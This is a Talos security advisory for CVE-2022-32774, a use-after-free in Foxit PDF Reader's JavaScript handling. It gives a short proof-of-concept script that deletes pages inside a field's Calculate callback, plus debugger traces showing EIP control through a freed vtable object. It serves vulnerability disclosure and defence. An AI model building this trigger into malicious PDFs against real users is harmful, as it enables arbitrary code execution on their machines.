CVE-2022-32774
A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.0.1.12430. By prematurely deleting objects associated with pages, a specially-crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.0.1.12430
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:
function main() {
var a = this.getAnnots();
this.getField('txt3').setFocus();
this.getField('txt3').value = "asdf";
getField('txt3').setAction("Calculate",'f();');
this.getField('Text Field0').setFocus();
}
function f() {
this.getField('Text Field0').setFocus();
this.deletePages();
this.deletePages();
}
The above code simply assigns a callback function to ‘Calculate’ action for field txt3
, which is promptly triggered by a call to setFocus
on another field. In the action callback, all that happens is a call to deletePages
, which in turn ends up freeing a large number of objects. Additionaly, another setFocus
call is made in this event handler that gets put on event loop queue. After the execution returns to event handler, a use-after-free is triggered. We can observe the following in the debugger:
(1610.12a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=29f57fe8 ebx=263d8f94 ecx=2759cfa0 edx=07affa54 esi=263d8f94 edi=0d513890
eip=01c198b4 esp=07affa38 ebp=07affa6c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2795b4:
01c198b4 8b01 mov eax,dword ptr [ecx] ds:002b:2759cfa0=????????
0:000> k 5
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 07affa6c 02f18355 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2795b4
01 07affabc 02f19939 FoxitPDFReader!safe_vsnprintf+0x1056d75
02 07affaf0 02f184b2 FoxitPDFReader!safe_vsnprintf+0x1058359
03 07affb40 02f46664 FoxitPDFReader!safe_vsnprintf+0x1056ed2
04 07affb60 02f46843 FoxitPDFReader!safe_vsnprintf+0x1085084
0:000> !heap -p -a ecx
address 2759cfa0 found in
_DPH_HEAP_ROOT @ a371000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
27342104: 2759c000 2000
64e3ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77b82c91 ntdll!RtlDebugFreeHeap+0x0000003e
77ae3c45 ntdll!RtlpFreeHeap+0x000000d5
77ae3812 ntdll!RtlFreeHeap+0x00000222
0463fc6b FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00484b4b
0461d121 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00462001
045655d2 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003aa4b2
00f059bc FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x0007197c
00d8796d FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002436d
00d7dae0 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0001a4e0
00d80e93 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0001d893
00d67183 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00003b83
00d6e91b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0000b31b
00d6eb8d FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0000b58d
0150f641 FoxitPDFReader!CryptUIWizExport+0x0002fd01
02c65ced FoxitPDFReader!safe_vsnprintf+0x00da470d
02c34ab2 FoxitPDFReader!safe_vsnprintf+0x00d734d2
02f54d9b FoxitPDFReader!FXJSE_GetClass+0x0000026b
03138a8b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e361b
0313824e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e2dde
03138505 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e3095
0313838b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e2f1b
0335a53b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x004050cb
032f6599 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x003a1129
032f6599 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x003a1129
032f4c20 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0039f7b0
032f4a49 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0039f5d9
02f915ee FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0003c17e
02f91102 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0003bc92
02f79df4 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x00024984
02f798f0 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x00024480
02f5330f FoxitPDFReader!FXJSE_Runtime_Release+0x00000d5f
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2795b4:
01c198b4 8b01 mov eax,dword ptr [ecx]
01c198b6 52 push edx
01c198b7 ff5008 call dword ptr [eax+8]
In the above debugger output , we can see that the crash is due to dereference of invalid memory (with PageHeap enabled). The memory is invalid because it belongs to a freed allocation. Additionally, the dereference happens as part of a vtable function call, which lends itself to straightforward control flow hijacking. If we step back and examine the size of the object before it’s been freed, we would see:
0:000> dt _DPH_BLOCK_INFORMATION 2759cf84
verifier!_DPH_BLOCK_INFORMATION
+0x000 StartStamp : 0xabcdbbbb
+0x004 Heap : 0x00851000 Void
+0x008 RequestedSize : 0x5c
+0x00c ActualSize : 0x1000
+0x010 Internal : _DPH_BLOCK_INTERNAL_INFORMATION
+0x018 StackTrace : 0x1b23bc3c Void
+0x01c EndStamp : 0xdcbabbbb
The freed object was of size 0x5c. This indicates a use-after-free condition. Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution. Indeed, as the crash summary demonstrates, EIP control can be achieved with crude heap spray. This issue shows a similar pattern to the one covered by TALOS-2021-1429.
With PageHeap disabled:
(b68.59c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00630041 ebx=10ccbe0c ecx=0e78eed0 edx=0782f528 esi=10ccbe0c edi=07bb1890
eip=42424242 esp=0782f504 ebp=0782f540 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
42424242 ?? ???
0:000> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0782f500 01c198ba 0x42424242
01 0782f540 02f18355 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2795ba
02 0782f590 02f19939 FoxitPDFReader!safe_vsnprintf+0x1056d75
03 0782f5c4 02f184b2 FoxitPDFReader!safe_vsnprintf+0x1058359
04 0782f614 02f46664 FoxitPDFReader!safe_vsnprintf+0x1056ed2
05 0782f634 02f46843 FoxitPDFReader!safe_vsnprintf+0x1085084
06 0782f654 02f1a308 FoxitPDFReader!safe_vsnprintf+0x1085263
07 0782f660 01a28f9f FoxitPDFReader!safe_vsnprintf+0x1058d28
08 0782f674 776ebf1b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x88c9f
09 0782f6a0 776c93af USER32!_InternalCallWinProc+0x2b
0a 0782f780 776e7d7e USER32!UserCallWinProc+0x25f
0b 0782f7f4 776e7a80 USER32!DispatchMessageWorker+0x2ee
0c 0782f800 00e7f8f4 USER32!DispatchMessageW+0x10
0d 0782f81c 00e7f9b3 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x11c2f4
0e 0782f83c 04797072 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x11c3b3
0f 0782f854 045654dd FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5dbf52
10 0782f8a0 77388494 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3aa3bd
11 0782f8b4 77b041c8 KERNEL32!BaseThreadInitThunk+0x24
12 0782f8fc 77b04198 ntdll!__RtlUserThreadStart+0x2f
13 0782f90c 00000000 ntdll!_RtlUserThreadStart+0x1b
2022-09-22 - Vendor Disclosure
2022-11-09 - Vendor Patch Release
2022-11-10 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.